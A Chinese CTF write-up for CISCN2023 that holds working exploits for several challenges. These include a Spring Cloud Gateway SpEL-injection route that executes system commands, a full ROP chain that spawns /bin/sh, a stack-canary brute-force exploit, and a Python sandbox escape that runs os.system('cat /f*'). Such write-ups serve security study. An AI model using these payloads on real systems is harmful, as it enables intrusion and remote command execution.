CISCN2023 wp

战队答题情况

排名:282

a6f287c23150ba48b360dcc75e6c0b0.png

解题列表

Web

  • BackendService

Pwn

  • 烧烤摊儿
  • funcanary

Misc

  • 签到卡
  • pyshell
  • 网络安全人才实战能力评价现状调查问卷

Re

  • babyRE
  • ezAndroid

Crypto

  • 基于国密SM2算法的密钥密文分发
  • Sign_in_passwd

Web

BackendService

在nacos权限绕过漏洞,网上找了一个payload
nacos抓包,修改返回包中参数,登录
image.png
https://xz.aliyun.com/t/11493#toc-5
对源码进行审计发现springcloud3.05 spel注入漏洞,在新建配置文件,名为backcfg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb:/rvice-provider",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}

利用curl外带flag即可。
image.png

Pwn

27日_烧烤摊儿

本地执行发现买东西是如果输入负数会给自己加钱,然后买下店铺,改名,发现存在栈溢出,试出溢出为0x28,因为是静态,所以用ROPgadget –binary shaokao –ropchain可以获得payload,只需要填偏移即可。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
from LibcSearcher import *
from struct import pack

context.log_level='debug'

#io=remote()
io=process('./shaokao')

elf=ELF('./shaokao')

io.recvuntil("> ")
io.sendline("1")
io.recv()
io.sendline("1")
io.recv()
io.sendline("-1000000")
io.recv()
io.sendline("4")
io.recv()
io.sendline("5")

# Padding goes here
p = b'a'*0x28

p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402404) # syscall

print(len(p))

io.sendline(p)
io.interactive()

funcanary

  • 利用fork无限创建子进程去爆破出canary,最后利用穷举去partial write从而绕过pie
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    from pwn import *
    context(log_level='debug',arch='amd64',os='linux')

    local = 0
    elf = ELF('./funcanary')
    #gdb.attach(p)
    if local:
    p = process('./funcanary')
    libc = elf.libc

    else:
    p = remote('47.94.206.10',29297)
    # libc = ELF('./')
    p.recvuntil('welcome\n')
    canary = b'\x00'
    for k in range(7):
    for i in range(256):
    print ("the " + str(k) + ": " + str(i))
    p.send(b'a'*0x68 + canary + p8(i))
    a = p.recvuntil("welcome\n")
    print (a)
    if "fun" in str(a):
    canary += p8(i)
    print('canary:')
    print(canary)
    break

    print(canary)
    target=0x1228
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x02'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x12'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x22'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x32'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x42'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x52'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x62'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x72'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x82'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\x92'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xa2'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xb2'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xc2'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xd2'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xe2'
    p.send(payload)
    p.recv()
    payload=b'a'*0x68+canary+p64(0)+b'\x28'+b'\xf2'
    p.send(payload)

    p.interactive()

Misc

27_签到卡

image.png
把/etc/passwd改为/flag即可
image.png

pyshell

nc到远端,发现输入什么命令都是nop,但是字符串可以回显,但是长度还有所限制,用“_”拼接(“_”可以表示上一次执行的结果),再用“+”拼接成一条字符串表达式,用eval()函数执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
'__imp'
#'__imp'
_+'ort'
#'__import'
_+'__('
#'__import__('
_+"'os"
#"__import__('os"
_+"')."
#"__import__('os')."
_+"sys"
#"__import__('os').sys"
_+"tem"
#"__import__('os').system"
_+"('c"
#"__import__('os').system('c"
_+"at "
#"__import__('os').system('cat "
_+"/f*"
#"__import__('os').system('cat /f*"
_+"')"
#"__import__('os').system('cat /f*')"
eval(_)

网络安全人才实战能力评价现状调查问卷

交完问卷出flag

Re

babyRE

先打开看看,xml不是很懂,google了一下snap这个网站用法,打开这个网站导入xml。
image.png
跟着步骤走,点击绿旗子按空格开始
image.png
运行到lock这里提示输入flag,看到lock的控件里面有多个插入数字操作,应该是密文
提取出来得到[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
image.png
加密逻辑在右边,是各项异或
image.png

exp

1
2
3
4
5
6
# babyRE
flag=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
for i in range(1,len(flag)):
flag[i]=flag[i] ^ flag[i-1]
for i in range(0,len(flag)):
print(chr(flag[i]),end="")

flag

flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

ezAndroid

登录网站试了一下注入好像不行
image.png
提示说是找附件漏洞,那就找呗,一堆apk里面就cpweb.apk最可疑
用jadx-gui打开,查看一下。先搜索MainActivity,但是好像没啥有用的东西
image.png
但是跟MainActivity同目录下有好多个Server,猜测漏洞可能就出在这里,重点看了一下WebServer
这里有个路径穿越拼接,应该可以利用这个漏洞。请队里的web手抓包一下。
image.png
image.png

flag

flag{15131359-6d71-45d3-b2ad-73e2f2335a7c}

Crypto

27日_基于国密SM2算法的密钥密文分发

https://const.net.cn/tool/sm2/genkey/
https://const.net.cn/tool/sm2/sm2-decrypt/
https://const.net.cn/tool/sm4/sm4-ecb-decrypt/

使用网站内容按照步骤操作即可。
image.png

27日_Sign_in_passwd

按照排列映射加密

1
2
3
4
5
6
7
8
9
import base64
import urllib.parse
after = r'GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5'
asc = urllib.parse.unquote(after)
former = r'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
change = str.maketrans(asc, former)
flag = r'j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D'
flaga = flag.translate(change)
print(base64.b64decode(flaga).decode('utf-8'))